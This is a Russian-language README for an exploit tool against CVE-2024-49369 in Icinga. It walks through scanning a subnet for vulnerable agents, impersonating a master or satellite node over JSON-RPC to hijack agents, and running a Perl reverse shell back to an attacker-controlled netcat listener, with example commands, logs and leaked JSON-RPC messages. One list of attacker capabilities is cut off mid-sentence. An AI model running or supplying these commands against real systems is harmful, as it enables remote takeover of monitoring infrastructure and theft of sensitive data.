
Инструмент эксплойта для CVE-2024-49369 в Icinga, позволяющий сканирование подсети, захват агента через имитацию JSON-RPC, выполнение произвольных команд и обратный шелл.
Эта уязвимость использует протокол Icinga JSON-RPC для эксплуатации отслеживаемых узлов, работающих с агентами Icinga. Выдавая себя за экземпляр Master/Satellite, злоумышленники могут потенциально захватить агенты, выполнять произвольные команды или получать конфиденциальную информацию.
Для сканирования подсети на предмет уязвимых агентов выполните следующую команду:
python3 main.py scan --subnet 192.168.0.0/24 --vuln --batch 25
Эта команда сканирует указанную подсеть партиями по 25 IP-адресов. Инструмент отправляет сообщение Icinga::HELLO по протоколу JSON-RPC и идентифицирует отвечающие агенты вместе с их версиями.
Если на конечной точке включены настройка и выполнение команд (настройка по умолчанию для отслеживаемых узлов с агентами Icinga), злоумышленник может:
Это может привести к полной компрометации системы (в зависимости от пользователя службы) или ограниченному доступу.
Когда родительский узел всё ещё подключен, соединения эксплойта будут выглядеть в журнале следующим образом:
[2024-12-11 09:13:03 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48120
[2024-12-11 09:13:04 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48124 (certificate validation failed: code 18: self signed certificate)
[2024-12-11 09:13:04 -0500] warning/ApiListener: No data received on new API connection from [::ffff:192.168.0.1]:48124 for identity 'my_satellite'. Ensure that the remote endpoints are properly configured in a cluster setup.
Мы видим, что этот узел уязвим для атаки, так как срабатывает предупреждение о кластерах, что означает, что текущий спутник всё ещё подключен, но этот агент видит нас как допустимого родителя.
Запустите прослушиватель Netcat для обратной оболочки:
nc -lvnp 9001
Запустите эксплойт:
python3 main.py exploit --host 192.168.0.5 --node-cn icinga_master --zone master --revip 192.168.0.1 --revport 9001
--host: IP-адрес целевого агента.--node-cn: Общее имя Master/Satellite для подмены.--zone: Имя целевой зоны. По умолчанию master.--revip: IP-адрес атакующего для обратной оболочки.--revport: Порт атакующего для обратной оболочки.Эта команда инициирует повторяющиеся попытки подключения. Как только целевой агент отключается от своего текущего родителя, инструмент перехватывает управление, отправляя и получая проверки.
В качестве новой проверки, создаваемой инструментом, используется обратная оболочка на Perl.
Даже если настройка и выполнение команд отключены на цели, злоумышленники всё равно могут получить конфиденциальные данные, наблюдая за результатами проверок, отправленных агенту.
{
"jsonrpc": "2.0",
"method": "config::UpdateObject",
"params": {
"config": "object Downtime ...",
"name": "icinga-agent!load!9856e6b2...",
"type": "Downtime",
"version": 1733899523.67197
}
}
{
"jsonrpc": "2.0",
"method": "event::SetLastCheckStarted",
"params": {
"host": "icinga-agent",
"last_check_started": 1733899492.313578,
"service": "icinga"
},
"ts": 1733899492.313714
}
Эти ответы могут раскрывать конфиденциальные настройки, данные планирования или даже результаты отслеживаемых служб.
На Censys в настоящее время имеется 24 003 хоста с публично доступным портом Icinga. Выборочные проверки показывают, что большинство хостов всё ещё работают на уязвимой версии Icinga.
Это исследование основано на работе, описанной в блоге Icinga.